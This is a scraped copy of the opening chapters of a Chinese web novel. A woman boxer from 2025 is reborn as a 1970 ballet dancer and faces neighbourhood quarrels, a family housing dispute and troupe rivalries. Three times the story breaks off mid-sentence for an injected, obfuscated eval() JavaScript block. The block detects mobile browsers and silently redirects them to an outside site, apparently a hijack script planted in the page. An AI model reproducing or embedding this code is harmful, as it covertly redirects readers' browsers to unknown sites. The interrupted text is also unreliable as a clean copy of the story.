《七零文工团日常》 1. 穿越拳击变芭蕾 哗啦啦。 大杂院的清晨,是从抢水龙头开始的。也就刚六点,一个个趿拉着拖鞋,穿着大裤衩,抱着盆儿,披散着头发,游魂一般朝位于影壁后的水槽走去。 水槽旁,密匝匝栽了三棵洋槐,茂密的枝干伸展到水槽上方,倒映出一方阴凉。 水管不断开合的声音、乒铃乓啷做饭的声音以及叽叽喳喳的说话声,开启了三叉树胡同四号院的一天。 水管子前站满了人,后面排队的也不走,七嘴八舌地说着闲话。 “哎,章老大家的事儿怎么说的?清英搬过去不?”一个年轻的小媳妇儿四处瞧了瞧,见没章家的人,低声问道。 一旁的大婶儿端着脸盆儿,看也不看小媳妇儿,回道:“有的闹呢,章老二那媳妇儿又不是吃素的,能答应才有鬼呢。” “要我说,亲侄子结婚呢,腾出一间房怎么了......” “话可不能这么说,房子是人家老二家的,凭什么让老大家的孩子住?邵华心不正,这是打着坏主意呢......” “咳咳。” 突兀的咳嗽声打断了大婶儿接下来的话,那大婶儿抬头,看到一脸阴鸷的直勾勾盯着她的脸,不是邵华又是谁。大婶儿颇有些尴尬地招呼道:“邵华啊,今儿怎么起这么早?” 其他人也讪讪的,三三两两地紧跟着打招呼,“章家大嫂子,早啊”,“小邵,早”。 邵华本就心烦,消息放出去大半个月了,老二家的都没动静,听到大家拿她取笑,心情更不好了,也顾不得邻里邻居的了,邵华冷笑道:“不这么早,还不知道大家背地里这么说我呢。” “话不好这么说的,我们也是关心你。” “就是,都没坏心。” “那我谢谢你们了。”说完,邵华捅开假装刷牙、看天看地就是不敢看她的邻居,拧开水管儿,哗啦啦接了一盆水,端着径直往正房走。余下的人讪讪的,有人切一身,撇嘴离开,也有人留下来继续洗漱。 东厢房卧室里,章清云猛地睁开眼,大口大口地呼吸着,飞机失事的失重感随即消失,映入眼帘的还是那间陌生的房间。 时值盛夏,阳光透过薄薄的蓝底竹叶纹窗帘射进来,又是一个大晴天。章清云眨了眨眼,半天才反应过来,真的回不去了。 她一骨碌坐起来,再次打量房间。房间不大,除了炕、对面的红漆五斗柜以及柜子上的红色塑料盆儿,再无其他家具。 不是这家条件不好,这姑娘能单独住一间屋子,家庭条件起码比这座城市百分之九十的家庭都强。只是这个年代就这样。五斗柜上的《人民R报》清楚地写着日期,一九七零年六月八日,星期一。报纸可能是前些天的,但时间相差不会超过半个月。 她,章清云,从二零二五,穿到了一九七零。 章清云无奈地砸了下炕沿,自我安慰道,起码知道了江省是东北那一片,不是吗? 炕尾摆着两个红漆木箱子,章清云昨儿已经看过了,左边放的是床褥,右边是叠得整整齐齐的衣服。木箱子上,立着一张原木色方炕桌。 倾身从枕头下摸出块儿巴掌大的小镜子,还好,原身的脸是杀伤性级别的。也不是第一次看了,章清云还是感受到了直击心灵的震撼。乌溜溜的杏核眼、高山根,唇不点而红,眉不画而翠,就连睫毛,都浓烈得像是小山丘。这张脸,任何角度任何光线下,都完美无缺。 据原身的记忆,原身父母曾反复说过,当初生下她时,因着这张漂亮到夸张的脸,曾反复跟护士确认没抱错,这才敢回家。 也是凭借这张脸和优越的身体条件,原身在家里住大杂院、十六岁了仅有一点儿基本功的情况下,愣是考入了江省文工团,成为芭蕾舞团的一员。如今训练两年,原身已经成为台柱子的B角,团里重点培养的新人。 什么是B角呢?就是A角的替身,在A角身体不舒服、受伤、体力不支等情况下,替A角上场。一般情况下,拉幕布、画海报、打扫卫生的零碎活儿,也都是B角做的。B角通常会比A角年轻个四五岁,这样等A角退下来,B角能直接顶上成为A角,作为团里新的台柱子。 “清云,起床了。”房门处传来说话声,似是没听到回答,女声不自觉放大,“清云,快起了,今儿不是要上班?再不起就迟到了。” 章清云认命地套上衣服,让她一个女拳击手去跳芭蕾,太讽刺了吧? 不过章清云可不敢随便换职业。刚来那日,她就感受到了原身对跳舞的执念,直到承诺一定会跳成台柱子,原身才安然离去。 说起来,原身走的有点儿冤。周六团里考核,下班前原身确定成为台柱子的B角,小姑娘一时激动,下班后不回家,去传说中的“小卖部”买吃食,被人在胡同里敲了闷棍。幸亏她这个鸠占鹊巢的醒来的及时,否则真被坏人强了。 也幸亏她会功夫,当时下死力踹了那人的隐私部位一脚,还将那人的鼻子打出了血。可惜原身的头被敲了,虽没出血,但用力过猛之下还是有些晕,接下来的动作便慢了半拍,被那人跑了。 此时,换衣服的章清云轻哼一声,等着,她早晚找出人来!不废了他,她章清云就对不起原身!别人不知道,她可是知道的,这人是杀了人的!原身是真的没了。 杂七杂八的从脑海里一闪而逝,像是流光,总也抓不住。章清云所幸不刻意去想,只隐约记得,貌似飞机出事儿时,头等舱还有一位“大佬”来着,也不知怎么样了。 章清云拍了拍脑袋,不想了,爱咋滴咋地,回不去了就享受生活,反正原身有人疼有人爱的,总比上辈子做个孤儿强。 章清云答应了一声“妈,起了,别叫了”,利索地跳下炕,抱起红色塑料盆儿,推开门去院儿里洗漱。 刚来到水管儿前,仅剩的两个中年妇人静了一瞬,挤眉弄眼儿的,纷纷和章清云打招呼。 “清云来了,你二堂哥结婚怎么说?女方要求住西耳房,清英可就没地方住了。”说着还愁眉苦脸的,不知道的,还以为是她家的事儿呢。 旁边的大婶儿很自然地接话:“要我说啊,让清英搬过去跟你一起住,不就什么都解决了?清洋怎么说都是你堂哥呢,结婚这么大的事儿,人家女方要求住西耳房,又不过分,是吧?清云你那间房那么大,让清英住过去,有啥的,做人别那么自私。” 章清云翻个大大的白眼儿,将盆儿哐当一声放进水槽里。对于想道德绑架的人,她向来是不会放过的。哪里痛戳哪里! 面对第一位大婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180825|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,她嘎嘣脆地道:“牛大婶儿,你家盼儿就是再嫉妒,也只能做女配的B角,我可是板上钉钉的女主B角,羡慕吧?” 她拧开水管儿,撩起水拍了拍脸,瓷白的皮肤在水光下更显莹润光泽,章清云微微一笑,嘚瑟道:“上天给的,没办法。” “你!”牛大婶儿一甩毛巾,盆儿里瞬间水花四溅,一旁矮胖的妇人哎呦一声,好在章清云是运动员,动作不是一般的迅捷,早一步跳开了,还嘚瑟地挑眉冲着牛大婶儿乐,挑衅意味十足。 牛大婶儿越看越气不打一处来,气哼哼地道,“我家盼儿基本功扎实,还比你小一岁,过不了多久就是A角了,你等着!”放完狠话,抱起盆儿一扭一扭地离开了。 成功气走了第一位牛大婶儿,章清云瞥了眼第二位矮胖的妇人,她不屑道:“何大婶儿,我说过多少遍了,我这辈子都不会嫁去您家的,您担心什么呢?看好您那俩宝贝蛋,再绝食我也是不会嫁的!” “谁稀罕!”何大婶儿拍了拍衣服上的水,抱起盆儿,梗着脖子蹭蹭蹭离开。 章清云理也不理,慢条斯理地挤牙膏刷牙。原身也是够倒霉的,就这张祸水脸,这么说吧,附近的胡同里,但凡有下一代的,小到刚会走,中到离婚丧偶的油腻中年男,老到还没进棺材的老登,只要是单身,就没有不想娶原身的。 就说刚才的何玲何大婶儿,三个儿子,除了老大结婚了,另两个可都看上原身了。原身规规矩矩的一个小姑娘,从来没跟两个奇葩多说一句话,就这,内部先争抢上了,又是打架又是绝食的,可是让何大婶儿恨足了原身。 原身呢,因为长得太漂亮,从小到大就交过一个好朋友司南,目前还面临下乡的危机,也是够倒霉的。 章清云洗漱好,回屋前瞄了一眼住在东倒座房的司家,秋季的时候司南就得下乡,还有差不多三个月,想来这一段儿时间,司南都要睡到自然醒了。 章清云叹口气,说不出是羡慕还是什么,走回屋换衣服了。 正堂里,章砚榛边调收音机,边对进来的闺女柔声道:“别理那些人,房子的事儿我和你大伯会商量的,你别管。” 章砚榛穿一件半袖白衬衫,大背头梳得一丝不苟,油头粉面的,任谁都想不到,这中年小白脸儿是电工,还是七级电工,过两年就能考八级的那种。 章清云点点头,坐下准备吃包子,被收音机里突然传出的锯木头声儿吓得一个哆嗦,差点儿把手里的包子扔出去,她无奈道:“爸,家里又不是没钱,买一个新的呗,这二手的听着就难受。” 这声爸她叫得毫无压力,原身父母对原身可谓是极尽疼宠,连小六岁的弟弟都比不上。前世章清云是孤儿,从来没享受过父母的疼爱,穿越后能有疼爱原身的父母,也是她这么快接受现状的最重要的原因。 章砚臻嗐了一声,一脸的不赞成:“钱有,票不好找啊。就收音机票,黑市儿能卖三四十呢,花那个冤枉钱干啥!咱家这二手的,又不是不能听,凑合着听呗。这过日子啊,就得精打细算,俗话说,吃不穷穿不穷,算计不到就受穷,这可是你爸我的金玉良言,你可得好好记着......” 说着话,锯木头声儿慢慢变成流淌的音符,顺着东厢房正堂,飘入大杂院中。 2. 家庭帝位见真章 门口,陈静整理了下警服,抬脚迈过门槛儿,见这父女俩边吃早饭,边听音乐的闲适劲儿,心里就来气,她忍着脾气问:“小远呢?还没起?”她身高一米七二,穿上警服就是那个成语,英姿飒爽。 章砚臻一个机灵,也不啰嗦了,忙起身赔笑道:“我去叫,这孩子真是的,皮猴子一个。今儿期末考试还睡懒觉,该打!静静你别生气,我叫醒他就打他一顿,保准儿让他以后再也不睡懒觉......” 陈静坐下,没好气儿地说:“行了,我什么时候说要揍他了?快去叫吧,今儿考完就放暑假了,也不知道上点儿心。” 章砚臻哎了一声,小跑着去耳房叫儿子起床。 章清云跟着赔笑:“妈,这是爸包的豆腐包子,香香辣辣的,可好吃了,快尝尝。还有茶叶蛋,爸一早卤上的,可入味儿了......” 陈静嗯了一声,咬一口包子,又开始唠叨闺女:“既然成了B角,就好好训练,别到时候让你上,你顶不上去。就是长得再好,跳的不好也成不了A角,知道吧?你这个工作,就是得流汗,说不定还要受伤......” 陈静说一句,章清云点一次头,别提多乖巧了。 看着这么乖巧的闺女,陈静心里又心疼又难过。闺女就是长得太好,一路过来太顺了。因着喜欢跳舞,十六岁高中毕业考入文工团,到了十八岁才成为B角。说实话,任谁说都是年轻有为。 可对闺女来说呢,却是生生憋屈了两年,熬了两年!两年来,她这个做母亲的,看着女儿的脚一日日流血、长茧子,再流血,再长茧子,直到老茧厚的跟硬币一般,再也不会磨破...... 说实话,陈静很多次都生了让女儿别跳了的冲动。可看到女儿在舞台上熠熠生辉的眼睛,总是话到嘴边,又咽了下去。 砚臻说,有钱难买她愿意。是啊,她当初就是因为喜欢抓坏人,才不顾父母反对,做了警察,即使有受伤牺牲的危险,不是也坚持下来了吗?难道放到闺女这儿,就得强迫清云放弃理想? “妈。” 男声打断了陈静的胡思乱想。她抬眼,只见一名十二岁的寸头男孩儿揉着眼睛,穿一件白色老头衫,脸也不洗,坐下来拿起包子就啃。 陈静赶紧用筷子敲了敲男孩儿的手:“没规矩,洗脸去!” 章清远护着包子跳起来,边躲边嘿嘿嘿的笑:“爸,妈,我今儿考完就小学毕业了,如今也是有小学文凭的人了,是不是得买礼物庆祝庆祝?” 说着,还扭着身子撒娇:“我不管,当初姐姐小学毕业,你们可是买了礼物的,不能到我这儿就啥也没有~我不管嘛~” 捏着嗓子拐了几道弯儿后,他清了清喉咙,提要求道:“百货大楼进了新的乒乓球拍儿,双胶面的,隔壁的虎子就有一个,我......” 章砚臻迈步进来,拍了把儿子的头,没好气儿道:“好好说话!大小伙子了,害羞不害羞!你好好考,考好了才能买,知道不?” “哦也!”章清远一蹦三尺高,一叠连声地保证:“爸,您就瞧好儿吧,我肯定能考全年级第一!” “你就吹牛吧。”陈静赶紧赶人,“洗漱去,今儿......” 正说着话呢,只觉餐桌一案,阴天了?四人抬头,好嘛,门口站了一人,高高大大的,瞧着至少一米八八,杵在那儿跟铁塔一样,将阳光挡了个结结实实。只听铁塔沉声道:“小弟。” “哎,大哥。”章砚臻还没坐下呢,忙转身疾步走出正堂,也不说把人请进屋,反是拉着比他壮一个身位的大哥到角落里,嘀咕半天。 等章清云早饭都快吃完了,章砚臻才重新回到餐桌上。 见众人都望过来,章砚臻笑得极狡猾,他道:“放心,房子的事儿我心里有数,不会把房间让出去的。等着吧,今晚院儿里就开会。” 陈静哼一声:“咱家的房子,凭什么让出去?你要是拎不清,我可对你不客气。”说着挥了挥拳头,她是警察,功夫自然不差,挥过去的拳头青筋分明,看着就骇人。 章砚臻嘿嘿嘿的笑,一脸的谄媚相:“我哪儿是那样的人!媳妇儿,我要是拎不清,当初你也看不上我不是?嘿嘿,来,媳妇儿,这是我特意给你包的包子,你不是喜欢吃辣嘛,我特意去供销社排队买的辣椒。你不知道,那队伍长的啊......” 巴拉巴拉,餐桌上就剩下章砚臻的说话声。 陈静的家庭帝位,可见一斑。 说起房子,就不得不说一说章砚臻大哥一家了。 章砚臻大哥,也就是早上那位铁塔同志,大名章砚廷,今年四十二了,比章砚臻大六岁,是钢铁厂的八级钳工。这么年轻的八级师傅,厂子里当然是要照顾了,当初分房的时候,章砚廷就分了大杂院的正房。 要知道,正房的正堂可是能革出一个客厅、两间卧室的,而且正房还带着东西耳房呢,拢共四个房间,按说怎么都够睡的。 可惜,章家大嫂邵华太能生,一气儿生了四个儿子一个闺女,这不就不够住了嘛。当时刚搬进来的时候,邵华就想让闺女章清英和隔壁的章清云一起住。在她看来,主卧再隔小一些,多出来一间房,四个儿子一人一间,正好。 反正闺女早晚要嫁出去,她将来又不指靠闺女过活,搬到小弟家去又没什么。可惜陈静没答应。章砚廷顾着小弟的面子,只得隔开西耳房,让小儿子和小女儿住进去。 如今章砚廷家的格局是这样的,大儿子章清海一家三口住东耳房,二儿子章清洋和三儿子章清宇合住正房的一间卧室,章砚廷夫妇住主卧,小儿子章清宙和小女儿章清英住隔开的西耳房,算是勉强能住开。 章砚臻一家,则住大杂院的东厢房。正房隔了个主卧和客厅,左右耳房,章清云和章清远一人一间,正正好。 当初隔房间的时候,夫妻俩就留了心眼儿,正房本来够隔两间卧室的,陈静和章砚臻愣是只隔了一间,就是怕大嫂出幺蛾子。 果不然,让两人料到了。如今老二章清洋结婚,这不就没房住了嘛。任凭亲家的话传得人尽皆知,不是没有等着章砚臻一家顶不住压力,主动过去解决的意思。谁知这两口子愣是装作没听到,大半个月了,一句话没有。章砚廷顶不住媳妇儿的催逼,一早来找章砚臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180826|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想办法。 章砚臻说他有办法,章清云就不多管闲事儿了。根据原主的记忆,这个父亲可是十分精明的,估计大伯一家占不到什么便宜。 吃完早饭,章清云抹抹嘴儿,起身欲走,陈静赶紧道:“拿两个茶叶蛋,中间饿了填填肚子。还有,你奶给你纳了新的千层底,今儿穿新鞋吧。” “行。”章清云答应着,转身朝房间走去。 原身因跳芭蕾,脚丫子有些变形,平时很少在外面买鞋,都是家里的老人帮着做鞋。老的千层底虽然不美观,穿着是真舒服。穿好后,章清云轻巧地蹦了蹦,嘴角微微翘起,背上军绿挎包,雄赳赳气昂昂地走出房间,推着自行车去上班。 三叉树胡同位于青江市东南方向,而文工团位于东北方,骑车要跨越半个市区,快四十分钟的路程,是以每日章清云六点就得起床。 走出胡同,刚跨上自行车,还没骑出去十米呢,就被身后的苗盼儿一溜烟儿超过。章清云吃了一嘴的土,狠狠瞪了苗盼儿的背影一眼。看在是原主手下败将的份儿上,今儿就饶了她。 远远瞧见波光粼粼的青江,章清云心情不是一般的美。 青江的江字,不是说青江市靠海,正是因着这条横贯东西的青江,因此得名。 虽然不靠海,因着这条江,青江市的渔获也是不缺的。青江市虽小,铁资源却十分丰富,有着全国数一数二的钢铁厂,大半个城市都是靠着钢铁厂生活。像原身家所在的三叉树胡同,就是钢铁厂的家属院,里面住的都是钢铁厂的职工兼家属。 又因着要保护钢铁厂,青江市是有驻军的,也就有了部队和部队文工团。一九六八年,十六岁的章清云高中毕业,本来面临下乡的,谁知文工团招收舞蹈演员,章清云凭借出色的外貌和身体条件被录取,立时轰动大杂院,也让大杂院的子女看到了除入厂和下乡之外,原来还有别的路可以走。 其后一年,邻居苗盼儿考入了文工团,其他胡同也有考进去的,皆是章清云带的头儿。是以,钢铁厂家属院都称章清云是“大杂院金凤凰”,将来必是要飞黄腾达的。 飞黄腾达不飞黄腾达的,如今的章清云还看不了那么远,她只觉得年轻的身体真好。上辈子为了获得冠军拿奖金,自十岁被选入体校起,章清云就玩儿命的训练。近二十年的拳击手生涯,除了收获一座座奖牌,带给章清云的,还有一身的伤。 手腕、脚腕、韧带、关节,没有一处是完好的,膝盖关节的修复手术都做了三回。出事儿的时候,她即将三十岁,早过了运动员的黄金年龄,可章清云不知道除了打比赛,她还能做什么。 如今穿越过来,虽然原身的脚掌上都是老茧,可因着时间短,脚腕上并没有很严重的伤。骑车时,关节也不会格格作响。章清云不自觉加快速度,很快飞一样超过苗盼儿。路过“小卖部”所在的大杂院时,章清云眼神儿眯了眯,等着吧,今儿下班就去会会那人,不信她天天去,还找不出人来! 章清云俯身,狠狠踩了两下自行车,风驰电掣地越过一处处白墙,以及一座石拱桥,将桥墩上“坚持阶级斗争”的标语远远甩在身后。 3. 更衣室矛盾出现 进入文工团,正锁车呢,苗盼儿黑着脸大踏步过来,见到章清云,狠狠朝天翻了个白眼儿,推着车子恨不能离八丈远。 章清云:“......”不就是超了你一次嘛,刚开始还不是你先超的?打个平手而已,急什么。 没搭理苗盼儿,章清云按照原主的记忆,来到更衣室。还不到七点半,更衣室已经有六个人在换衣服了,一水儿的年轻漂亮姑娘,长手长脚的,脖子真跟天鹅似的,修长白皙。不得不说,体型是真好看。 不过脸嘛,还是原身章清云的最好。虽跟大杂院不一样,在那里,章清云是断层碾压,如今在文工团,只能说是处于金字塔顶端,第二层也是有不少人的。 “可人,这周末的票你有多的吗?我们家听说我要上场,都想去看呢。”杜玉玲坐在长椅上整理舞蹈鞋,见章清云进来,翻个白眼儿,只管跟一旁的蓝可人说话。 蓝可人是如今的台柱子,也是金字塔第二梯队的领军人物。章清云就是做她的B角,见到人了当然要打声招呼,她微微鞠躬,说:“蓝姐,早。”至于杜玉玲,都翻白眼儿了,她又不是贱皮子,才上赶着打招呼。 蓝可人柔柔一笑:“清云早。”她是时下最流行的“女战士”长相,鹅蛋脸,浓眉大眼,瞪起来精气神儿十足的那种。不过性格却有些弱,笑起来总是柔柔的,跟长相极不相符。 章清云冲其他人点点头,刚来到座位,还没坐下呢,程紫鹃笑嘻嘻地走过来,偷偷塞给章清云两块大白兔,说:“昨儿我哥结婚,请你吃喜糖。” 程紫鹃是章清云在文工团为数不多的朋友,大概这姑娘天生脑子缺根弦,除了吃就是跳舞,不会想别的,对谁都不错。原身为了保持身材,很多吃的都给这姑娘,程紫鹃对原身就上了心,投桃报李的,两人关系越来越好。 章清云笑着接过来,恭喜道:“该恭喜你才是,你嫂子怎么样?相处愉快吧?” 程紫鹃没心没肺的:“好啊,我嫂子是报社记者呢,大学生,读书可厉害了。也不知怎么看上我哥了,嘿嘿嘿。” 章清云:“......”你家好歹是住市政大院的好吧。就算不是大领导,也是小领导,大学生嫁给你哥,也算正常吧?顿了一瞬,章清云才找回自己的声音,她说:“那也是你哥优秀。” 程紫鹃挠挠头,一脸的懵懂,小声嘀咕了一句:“是吗?我咋没看出来。”说完又嘿嘿笑了两声,绘声绘色地讲起结婚的席面。虽说如今不讲究大操大办,但亲家之间互相赠送些糕点,也是有的。 程紫鹃不自觉咽了咽口水:“我爸不知从哪儿买的栗子糕,酥皮儿的,可好吃了。可惜被我不小心吃完了,嘿嘿,没给你带......” 章清云就忍不住打量这姑娘,小朋友,芭蕾舞演员是要严格控制体重的,她怎么觉得,就一天的时间,程紫鹃仿佛,好像,胖了呢? 眼花吧,一定是眼花。章清云摇摇头,边听程紫鹃唠叨,边打开储物柜的门,准备换衣服。却听一旁杜玉玲阴阳怪气的声音响起。 “哎呦,还没成A角呢,就看不起人。如今团里的人,可是一届不如一届了!看看人家可人,当了这么多年的台柱子,哪天摆过谱?有些人啊,翅膀还没硬呢,就不理人了。” 章清云:“......”心理学研究表明,愤怒、对抗等消极情绪,会让人的脑子变笨。而根据海格力斯效应所说,群体之间的冤冤相报,会使仇恨越来越深,以致最后,很可能到了不可控的地步。而破解的方法呢,就是专注自身,用实际行动表示,我,你高攀不起。 章清云努力说服自己不生气,上辈子,又不是没遇到过羡慕嫉妒恨的人。瞥见对方才二十二岁的脸,章清云心里嗤笑一声,不就是含沙射影嘛,连指名道姓都不敢,她就假装听不懂,还给她递话,气不死她! “哎呦玉玲姐,谁惹你了?真是的。”章清云瞥了眼旁边幸灾乐祸的苗盼儿,嗔怪道,“盼儿,是不是你没跟玉玲姐打招呼?真是的,玉玲姐虽然是女配,但好歹跳了这么多年,没有功劳也有苦劳,怎么能这么不尊重人呢。快,给玉玲姐道歉,可不能看不起人。任何人的劳动都是值得尊重的,再说,你还是人家的B角呢,更得尊着些,怎么能这么不懂事儿呢” 巴拉巴拉的,一副全心全意为苗盼儿着想的架势。 章清云可不是泥塑的,原身那种老实讷言的性子,她做不来。反正杜玉玲说了,原身如今“出息”了嘛,那就不妨变一变,她章清云可从来不会忍! “你!”苗盼儿气得脸都红了,偏章清云一副为她好的样子,让苗盼儿更加有苦说不出。只得颤手指着章清云,道,“玉玲姐说的不是我!你少在这里冤枉人,你......” 章清云咦了一声,上上下下地打量苗盼儿:“就你进来的晚,不是说你难道是说我?” 她十分的不可思议:“我刚可跟可人姐和玉玲姐都打招呼了的,大家都看到了,玉玲姐你没看到吗?” 随即摇摇头,十分的笃定:“怎么可能,玉玲姐又不是七老八十了,连谁跟她打招呼都看不到。盼儿啊,可不能这么诅咒玉玲姐。没打招呼就没打招呼嘛,有什么不能承认的。” 章清云一甩手,极其的潇洒,她说:“如今是新社会了,大家都是平等的,见面打招呼是礼貌,仅此而已。又不是旧社会那些臭老九,搞旧人压迫新人那一套。咱们可是部队文工团,可没这样儿的,是不是,玉玲姐?不就是一个招呼嘛,玉玲姐又不会对你怎么样。盼儿啊,别犟,老实承认,玉玲姐不在乎的。” 杜玉玲哼一声,都上纲上线到这个地步了,她能说什么呢,只得不情不愿地道:“就是,文工团里可没有压迫,不打招呼就不打招呼嘛,这有什么的。我只是想说......想说做人要有礼貌,又不是逼着谁打招呼。” 说着她起身,拉了把蓝可人,道:“可人,走了,得去训练了。” 蓝可人冲众人笑笑,跟着往外走。 还没走出去呢,杜玉玲低声问:“可人,你说周末演出,部队大院儿那些顽主来看不?” 蓝可人说了什么,众人都没听见。章清云耸耸肩,无视苗盼儿的怒视,和换好衣服的程紫鹃一起去了训练室。 如今是六月中旬,训练任务重,毕竟要七一了嘛,建党节肯定要献礼,有演出任务的。 教练周文芳看着这群花儿一样的姑娘,眼神儿扫过程紫鹃身上时,不自觉停顿了两秒,旋即眼里冒出了火星子,指着这丫头道:“程紫鹃,你出来,上称!” 程紫鹃缩了缩身子,含胸缩肚地朝体重计走去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180827|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。刚站上去,周文芳不可置信地说:“三斤,你一天胖了三斤!程紫鹃,你说,你都吃什么了?!” 一般体重上下浮动两斤,都在正常范围,可程紫鹃一下子胖三斤,确实有些离谱。章清云还特意探头去看了砝码,没错,确实是三斤。 姑娘们发出笑声,咯咯咯的,周文芳气急:“笑笑笑,知不知道七一要献礼啊!市里的领导、省里的领导,就连部队的领导都要来看演出的!不容有失,知不知道这四个字的含义?!不容有失,那是说半点儿演出失误都不能有!懂了吗?一个个的还笑得出来!都给我严肃点儿!” 发了一通脾气,见大家不嬉皮笑脸了,这才转过头,厉声问程紫鹃:“说,都吃了什么?” 程紫鹃看了眼教练,低声道:“那什么,我哥昨儿婚礼,我吃了些糕点。” “什么糕点?吃了多少?” “酥皮栗子糕,沙琪玛,花生糖、桃酥,每样......每样吃了半斤。还有......”程紫鹃咽了咽唾沫,破罐子破摔道,“还有大白兔,我也吃了......吃了半斤。” 章清云:“......”合着送她那两颗大白兔,是从你嘴里剩下的?真是谢谢你了。 周文芳气笑了,在训练室转了两圈儿,停下来,柔声问道:“好吃吗?” 程紫鹃老老实实点头:“好吃。” 周文芳脸一绷,重重地哼了一声:“傻子都知道好吃!” 她冷声道:“今儿一天不能吃饭!减重!明儿要是瘦不下来,B角你也别当了,去拉大幕吧,拉大幕不需要控制体重,可以放开了吃,想不想拉大幕?” 程紫鹃总归是没有傻到底,赶紧摇头道:“不想,我想跳舞!” “想跳就给我减重!知道没?” 程紫鹃缩了缩脖子,委委屈屈地道:“知道了。” “入列吧。”周文芳深呼一口气,才郑重开口,“同志们,七一的献礼可不是开玩笑,还有半个多月,这几天都给我打起精神。” 她拍了拍手:“好了,先热身,之后做几组踢腿、旋转......” 蹦蹦跳跳的,出一身汗,算是上班儿了。章清云还不太习惯那些动作,做起来硬邦邦的,不过却觉得,再没有比这更好的牛马槽了。 只是中午去食堂吃饭,程紫鹃饿得脸都绿了,拉着章清云的胳膊,让她拽着走:“清云,我不行了,要是中午不吃饭,下午我肯定坚持不下来。你说我少吃点儿,明儿体重会不会下来?” 章清云想了下,提议道:“你只吃青菜好了,其他米饭、馒头、面条儿什么的都别吃,应该可以。” 程紫鹃心塞,戚戚然道:“可青菜不顶饱,跳一会儿就会饿的......” 后面的杜玉玲切一声,怪声怪气地道:“一天胖了三斤的人,没资格饿。” 众人噗嗤笑出声,蓝可人拉了拉杜玉玲的袖子,对着程紫鹃道:“紫鹃,你就坚持坚持吧,过了七一就好了,到时候再放开肚皮,没人会说什么的。” 一群姑娘叽叽喳喳的,端着铝制饭盒,刚走出训练室,就见大门口站着一群小伙子,又是吹口哨又是嗷嗷叫的,还有拍打铁门的,别提多闹腾了。 杜玉玲捅了捅蓝可人的腰,低声道:“高斌!” 4. 双穿男主初登场 蓝可人耳朵都红了,看也不看那边一眼,转身就要走,谁知杜玉玲扬着脖子,高声道:“高斌,我家可人可是台柱子,想追上人家,可得先过了我这一关!我是可人最好的朋友,只有我满意了,才让你跟可人说话,听见没?” 蓝可人跺了跺脚,红着脸道:“玉玲,你说什么呢。” 杜玉玲咯咯咯的笑,花枝乱颤的,低声哄道:“你不是不喜欢他嘛,我这是替你拒绝他呢。再说,逗逗他而已,怎么,心疼了?” 章清云:“......”什么时代的绿茶,都是这个调调啊。 没等蓝可人说话,对面大门口,一名穿着绿军装的短发女生嗤笑一声,不屑道:“杜玉玲,装什么好朋友呢。你这种人我见得多了,我们找的是蓝可人,关你什么事儿,狗拿耗子多管闲事!” 领头的高斌吹了声口哨,低声呵斥:“魏雪,闭嘴。” 说着,他一抬手,后面的小弟递上来一个方形纸盒,高斌看也不看,十分潇洒地将纸盒转到身前,又穿过铁门栅栏的缝隙,递过去,痞痞地道:“蓝可人,这是我给你买的栗子蛋糕,拿去。” 章清云:“......”原来在没有港片的年代,也有小弟递东西,大哥头也不回这一幕啊。看来这几十年来,装B也没进化多少啊。 正准备离开呢,被高斌旁边的一位高个子男生吸引。不是因为长的多帅,是还不错了,剑眉星目的,线条也不错,有股子小肌肉。不过最吸引章清云的,是男生浑身上下洋溢着的尴尬。 对,尴尬,仿佛在说,他不想来,他们非逼着他来,看,现在好了,来了果然没好事儿,走又走不成,留下又尴尬。那真是恨不能脚趾抠地,表演一个原地消失。 章清云忍不住多看了几眼,深觉可乐。不知这男生怎么想的,想走就走啊,看来顽主圈儿也不是那么好混的。她没多想,跟着程紫鹃离开了。 另一边,被看了几眼的关百钺望过去,只看到一个窈窕的背影。他叹口气,继续尴尬地充当背景板,看着名叫杜玉玲的“绿茶女”拿过蛋糕,狠狠剜了原身表妹魏雪一眼。魏雪不甘示弱地哼一声,瞪回去,火药味儿十足。 关百钺扶额,拉住想开口的魏雪,心里直叹气。要不是为了这丫头,他也不会跟着这群毛头小子出来。 关百钺穿越了。飞机失事,没死,反而来到了一九七零年的江省,一个前世并不存在的地方。原身是大院儿的一名小小顽主,老大叫高斌,正在追求文工团的台柱子蓝可人,而他们这群小弟小妹的任务,就是跟在老大身后,加油鼓劲儿,顺便看看能不能勾搭上文工团其他的“白天鹅”。 想他关百钺上辈子一天二十四小时,十八个小时都在工作,白手起家,三十四岁就做到上市公司老总,却穿成了无所事事的顽主,也是够无语的。可原主这个样子,他要是冒然上进,会不会被当成异类抓起来?关百钺可不想刚穿过来,就再死一次。 